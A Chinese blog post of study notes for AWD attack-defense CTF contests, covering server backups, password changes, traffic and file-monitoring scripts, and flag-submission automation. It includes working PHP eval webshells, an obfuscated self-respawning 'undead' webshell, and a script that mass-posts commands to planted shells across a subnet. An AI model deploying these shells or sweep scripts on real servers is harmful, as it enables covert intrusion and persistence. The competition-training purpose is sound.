本文最后更新于:星期二, 六月 16日 2020, 2:28 下午

一些关于AWD的学习心得和笔记

0x01 前言

周末要去打广东省强网杯了,之前没有打过AWD,前段时间队友@CjM00n跟我讲了一些AWD应该注意的一些事项和一些基本流程,我也做做准备,在学习过程中也做些笔记


结果准备那么多到了比赛现场还是被锤爆,难顶…

web2是python+flask后台,之前没怎么研究过这个框架,比赛的时候几乎全场宕机(被人删了站因为不会运维所以根本就没想着恢复),后来另一个队的队友@kk告诉我后面藏了一个巨明显的后门直接cat flag,拿着这个居然打了全场,一轮可以拿下10个flag…看来python后台还是需要多研究一下

web1别说了,找到个文件上传,结果全场21台机只有2台站没崩,一台还是队友的把这洞补上了

成功实现全场0输出,有点对不起队里两个pwn爷爷(


好在还是有发现一些问题,编写脚本能力实在太差,自动化脚本在那根本就没有写,手打抄作业还抄不对,还是平时脚本写少了。然后再就是代码审计的速度太慢了,这些都得多努力一下,后面加油叭

0x02 准备

经过整理,需要的一些工具和脚本和自己的字典(方便到时候直接复制粘贴,提高效率)

1. 工具

  • D盾(方便直接扫后门)
  • WireShark(分析流量包)
  • 攻击框架(还得学习,现在问题是不会用)例如:Attack-Defense-Framework
  • burpsuite(搭配其中的工具Reissue Request Scripter,可以根据你抓到的请求包直接生成请求脚本,非常方便抄作业
  • 御剑或者dirsearch(用来扫网页的后台目录,不过AWD好像用的比较少)
  • nmap或者httpscan(用来扫描网段,因为有可能你不知道其他靶机的ip)
  • 服务器管理软件,比如XFTP或者FIleZilla Client(用来管理服务器

2. 脚本

  • 流量监控waf
  • 加密shell(MD5,RSA等等,都可)

3. 字典

字典里面就放一些常用的命令,毕竟线下赛断网,要是忘了什么命令就很难搞(本质还是dd

  • 用于备份的各种命令(备份整站,备份数据库等等)
  • scp文件传输命令
  • 一些常用语言的文档(忘了什么函数方便查阅)

4. 交流文档

这次比赛只有我一个web,两个pwn爷爷也不怎么需要文档,不过以后比赛要是人多还是要搭文档,思路和文件交流也方便一些。

线下局域网环境搭Codimd,类似于合作文档的类型

0x03 比赛过程注意事项

1. 备份

比赛开始第一件事就是备份,一定要备份,防止整站被人删掉无法恢复,导致服务宕机一整场

站点源码备份

源码备份可以用前面所说的工具Winscp或者FileZilla,但是每个主办方服务器不同,你要把他拉到本机可能会速度比较慢。

速度快的方法就是直接用tar打包,放在自己的home目录下(这里队友@CjM00n提到一点,最好不要放在tmp目录下,因为这个目录没有权限配置,同理我们要是拿到了shell,可以到别人tmp目录下康康,说不定能找到一些好康的),然后再把他传到本机来

tar备份方法如下:

cd /var/www/html
tar -zcvf ~/html.tar.gz *

还原的话方法如下:

rm -rf /var/www/html
tar -zxvf ~/html.tar.gz -C /var/www/html

或者

cd /var/www/html
rm -rf *
tar -zxvf ~/html.tar.gz

数据库备份

有时候数据库里也有flag,所以要将数据库也备份一下,避免删库跑路

首先是找配置文件,翻一翻账号密码

cd /var/www/html
find .|xargs grep "password"

备份:

$ cd /var/lib/mysql #(进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
$ mysqldump -u root -p Test > Test.sql # 输入密码即可。
$ mysqldump -u root -p --all-databases > ~/backup.sql  # 备份所有数据库
$ mysqldump -u root -p --all-databases -skip-lock-tables > ~/backup.sql  # 跳过锁定的数据库表

还原:

$ mysql -u root -p
mysql> create database [database_name];  # 输入要还原的数据库名
mysql> use [database_name]
mysql> source backup.sql;    # source后跟备份的文件名

或者

$ cd /var/lib/mysql # (进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
$ mysql -u root -p Test < Test.sql  # 输入密码即可(将要恢复的数据库文件放到服务器的某个目录下,并进入这个目录执行以上命令)。

2. 口令修改

需要修改的口令包括:ssh弱口令、CMS后台弱口令、数据库root口令

数据库口令修改

一般来说,数据库的密码是一定要修改的

$ mysql -u root -p
show databases;
use mysql
set password for root@localhost = password('123');
或者
update user set password = PASSWORD('需要更换的密码') where user='root';
flush privileges;
show tables;   # 看看有没有flag

修改SSH口令

首先登陆SSH,然后:

passwd [user]

提到这个ssh密码,就想到比赛的时候主办方在公告上给出了一个ssh密码,这个密码看起来就像是一串随机字符串,还挺长,我们都以为这是个随机密码,每个队伍的公告应该都不一样,结果到倒数几轮的时候发现三台服务器ssh都连不上了,还以为是服务器被哪个dalao提权了,结果比赛结束一问好多队也是后面才发现ssh上不去,原来密码都是一样的…属实难顶。怪不得最后几轮第一名的分数像是把全场打穿了一样暴涨,明明pwn爷爷已经把漏洞patch了

(还有一个队更惨,花了50分重置服务器结果重置完了被秒改密码,50分直接白给,心态直接崩掉)

3. 上WAF

备份好各类数据之后,作为一个Web狗还是要上一些脚本在自己的服务器上,流量监控,文件监控,甚至是通用防御(不要轻易上,有的比赛裁判机会有对这个的专门检测,容易被判断为宕机)

流量监控

改完密码之后第一件事,就是上流量监控的脚本。

这个真的很重要很重要!因为当你自己找不到漏洞的时候,一个好的流量监控脚本可以帮助你找到漏洞(抄作业

然后你可以通过这些流量把洞补了,再拿它来打别人,如果遇到垃圾流量又是另一回事了。

下面是一个比较粗糙的php监控脚本:

<?php
$ip = $_SERVER["REMOTE_ADDR"];      //记录访问者的ip
$filename = $_SERVER['PHP_SELF'];       //访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"];      //访问者要请求的参数
$method = $_SERVER['REQUEST_METHOD'];       //请求方法
$uri = $_SERVER['REQUEST_URI'];             //请求URI
$time = date('Y-m-d H:i:s',time());     //访问时间
$post = file_get_contents("php://input",'r');       //接收POST数据
$others = '...其他你想得到的信息...';
$logadd = 'Visit Time:'.$time.' '.'Visit IP:'.$ip."\r\n".'RequestURI:'.$uri.' '.$parameter.'RequestMethod:'.$method."\r\n";
// log记录
$fh = fopen("/tmp/log.txt", "a+");
fwrite($fh, $logadd);
fwrite($fh, print_r($_COOKIE, true)."\r\n");
fwrite($fh, $post."\r\n");
fwrite($fh, $others."\r\n");
fclose($fh);
?>

这种脚本一般放置在CMS的入口文件处,下面列出几个常见CMS的入口地址,在这些入口的文件里使用require_once()就可以将监控脚本包含进去,达到流量监控的目的:

PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.php

文件监控

文件监控也是一个比较imba的脚本了,就是将任何没有免死金牌的上传文件全部拦截,上传一个我就自动给你删掉,或者将其中的文件内容直接全部修改掉,这种脚本说实话也是比较危险,看实际情况判断一下吧,下面就是一个文件监控脚本:

# -*- coding: utf-8 -*-
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'diaossama'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}

def isListLike(value):
    return isinstance(value, (list, tuple, set))

# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
        return NULL

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")

# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise

# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist

# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u'[!] getmd5_error : ' + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict

# 备份所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
    print u'---------start------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
    print u'[*] pre work end!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            # import pdb;pdb.set_trace()
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] webshell find : ' + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : file move error: ' + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] file had be change : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : done_diff: ' + getUnicode(filekey)
                        pass
        time.sleep(2)
        # print '[*] ' + getUnicode(time.ctime())

4. 预留后门

一般来说,在每一台服务器上可能已经预留了一个或多个后门,这时候我们就可以把一开始备份的源码传输到本地,拖进D盾里扫一扫,发现后门的话可以先把自己的后门处理掉,然后利用这个后门看看能不能去打一下别人,传个马之类的

1569052013590

当然这种属于比较简单的马了,一般开局就被搞掉了,但是还是可以打一打碰碰运气

5. 权限维持

说道权限维持,那肯定是一句话木马,不死马,反弹shell等一系列操作了,发现漏洞之后传个马,才有利于后面更好的得分

一句话木马

一句话木马那方法就很多了,比如最简单的:

<?php eval(REQUEST['diaossama']); ?>  //php
<%eval request("xx")%>    //asp

MD5马

但是这种一句话木马很容易被人利用,你想想你把别人服务器弄了,结果别人一看你的shell密码转头就用你的shell去弄别人,那不是被人白嫖。所以就有了其他的马,比如MD5马和RSA马,下面就是一个MD5马的例子(还可以加header双重验证)

<?php
echo 'hello';
if(md5($_POST['pass'])=='042766b4e0c02419a448f2e8ec68d9bc'){
	@eval($_POST['cmd']);
}
?>

不死马

有了MD5马还不够,我们还得让我们的马可以一直留存在别人的服务器上,所以就有了不死马。

不死马有很多种类型,一种是不断复制自身达到不死,一种是复制多个马到不同目录相互守护,甚至听队友说还有区块链马,不知道是个什么操作

<?php
    set_time_limit(0);
    ignore_user_abort(true);
    $file = '.demo.php';
    $shell = "<?php $_hR=chr(99).chr(104).chr(114);$_cC=$_hR(101).$_hR(118).$_hR(97).$_hR(108).$_hR(40).$_hR(36).$_hR(95).$_hR(80).$_hR(79).$_hR(83).$_hR(84).$_hR(91).$_hR(49).$_hR(93).$_hR(41).$_hR(59);$_fF=$_hR(99).$_hR(114).$_hR(101).$_hR(97).$_hR(116).$_hR(101).$_hR(95).$_hR(102).$_hR(117).$_hR(110).$_hR(99).$_hR(116).$_hR(105).$_hR(111).$_hR(110);$_=$_fF("",$_cC);@$_();?>";
    //$_hR='chr'
    //$_cC='eval($_POST[1]);'
    //$_fF='create_function'
    while(true){
        file_put_contents($file, $shell);
        system('chmod 777 .demo.php');
        touch(".demo.php", mktime(11,11,11,11,11,2018));
        usleep(50);
        }
?>

这个demo就是会一直生成.demo.php的一句话木马,可以跟MD5马结合一下。

知道了怎么写不死马,那就得知道怎么杀不死马

<?php
while (1) {
 $pid=1234;
 @unlink('.demo.php');
 exec('kill -9 $pid');
}
?>

先用ps命令查看进程的pid,再修改一下上面的脚本执行即可

或者我们也可以用ps aux命令来查看每个用户执行的命令和运行的进程


队友@kk给出的建议是,不死马用php脚本来杀效率不高,有些鸡肋,一般是写一个脚本不断生成那个不死马的同名文件,使那个不死马无法在该目录下创建文件,然后再找到那个不断创建不死马的进程将其杀死。

6. 日志分析

比赛中如果抓不到有用的流量,日志分析也是很有用的,分析服务器的访问日志也可以发现一些信息,下面罗列了一些服务器的日志路径

apache: /var/log/apache2/access.log
nginx: /var/log/nginx/

日志除了自己分析之外也可以借用一些审计工具,比如说腾讯实验室的LogForensics

7. 自动化

后台执行

有时候我们需要在服务器上后台执行一些脚本,这里就需要使用到nohup命令和linux shell中的&命令,nohup可以让命令不挂断地执行,&则可以让命令在后台运行,比如说现在我要在后台执行我的check脚本,我就可以这样写:

nohup python -u ./check.py > log.out &    # 这里-u是禁用缓存,使输出直接进入log.out
# 如果需要运行shell脚本并且需要获得错误信息的话
nohup ./run.sh > log.out 2>&1 &
# 如果不需要记录日志
nohup ./run.sh > /dev/null &

查看它是否在后台执行可以使用jobs命令

)nohup

这里还有一个配合的命令就是tail这个命令加上参数可以动态地读取正在变化的文件,这可以让我们实时查看输出

tail -f [file_name]    # 动态读取文件内容
tail -n行数 [file_name]	# 显示文件尾部n行的内容
tail -c字节数 [file_name]	#显示文件尾部c个字节的内容

善用这个命令可以节省很多运维服务器的精力,你可以写一个自己的check脚本来检查自己的服务有没有宕掉,检查的时间比裁判机来的快,以此规避失分

定时任务

定时任务可以使用Linux上的crontab命令,也可以使用python中的time模块,一般是用来定期提交flag的。如果主办方提供了提交flag的接口的话,我们可以结合不死马写入一个定时任务,定时cat flag并提交到接口上去,每一轮批量拿分

自动化攻击

自动化攻击这一块还需要多做一点研究,因为目前还没有实战遇到过。

大概的思路是:如果挖掘到一个通过Http请求可以直接读取文件的漏洞,譬如过滤不完全的注入,XEE,报错注入,文件包含这一类,如果我们一个个手打,那效率就很低了。可以通过python的requests模块直接发送payload并获取回显的flag,这样可以短时间内打全场,如果发现有修复了该漏洞的服务器,就将其加入ban_list即可

#coding=utf-8
import requests
url_head="http://xxx.xx.xxx."    #网段
url=""
shell_addr="/Upload/index.php"
passwd="xxxxx"                    #木马密码
port="80"
payload =  {passwd: 'system(\'cat /flag\');'}

webshelllist=open("webshelllist.txt","w")
flag=open("firstround_flag.txt","w")

for i in range(30,61):
    url=url_head+str(i)+":"+port+shell_addr
    try:
        res=requests.post(url,payload,timeout=1)
        if res.status_code == requests.codes.ok:
            result = url+" connect shell sucess,flag is "+res.text
            print result
            print >>flag,result
            print >>webshelllist,url+","+passwd
        else:
            print "shell 404"
    except:
        print url+" connect shell fail"

webshelllist.close()
flag.close()

上面也是一个类似的框架,编写脚本的话可以大概按这个思路进行

自动化脚本批量交flag

如果我们不能在对方服务器上种马,只能通过漏洞直接获取flag,那么我们可以通过上一步的自动化脚本在每一轮更新获取到的flag值将其写入文件,然后在本机用脚本批量交

#!/usr/bin/env python2
#coding=utf-8
import sys
import json
import urllib
import httplib
server_host = ''    #提交flag的服务器地址
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
    if not team_token or not flag:
        raise Exception('team token or flag wrong')
    conn = httplib.HTTPConnection(host, port, timeout=timeout)
    params = urllib.urlencode({        #提交需要post的参数,根据情况修改
        'token': team_token,    
        'flag': flag,
    })
    headers = {
        "Content-type": "application/x-www-form-urlencode"
    }
    conn.request('POST', '[submit_flag_dir]', params, headers)    #第二个参数为提交flag的目录
    response = conn.getresponse()
    data = response.read()
    return json.loads(data)

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'usage: ./submitflag.py [team_token] [flag]'
        sys.exit()
    host = server_host
    if len(sys.argv) > 3:
        host = sys.argv[3]
    print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)

当然这个脚本不通用,不过框架上大体是差不多的,就看提交flag的页面具体需要一些什么参数

0x04 其他

其实前面写了那么多,我感觉其实AWD考验的最核心的还是代码审计、日志审计和漏洞挖掘的能力,只有能挖出一些漏洞,才能保证最基本的输出,但是比较可惜我在这几个方面是真的太菜了,全程抄作业,然后被人打得手忙脚乱,站崩掉还不自知,最后流量都抄不到了。

所以说上面所说的还只是一些注意事项,想要真正在线下赛打出成绩,还是提升自身的素养吧。

参考链接

  1. https://cloud.tencent.com/developer/article/1480934
  2. https://cjm00n.github.io/2019/08/22/Xman%E7%BB%93%E8%90%A5%E8%B5%9BAWD%E6%80%BB%E7%BB%93/#%E6%AF%94%E8%B5%9B

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Flask学习笔记(一) 上一篇
Hadoop学习笔记(三) 下一篇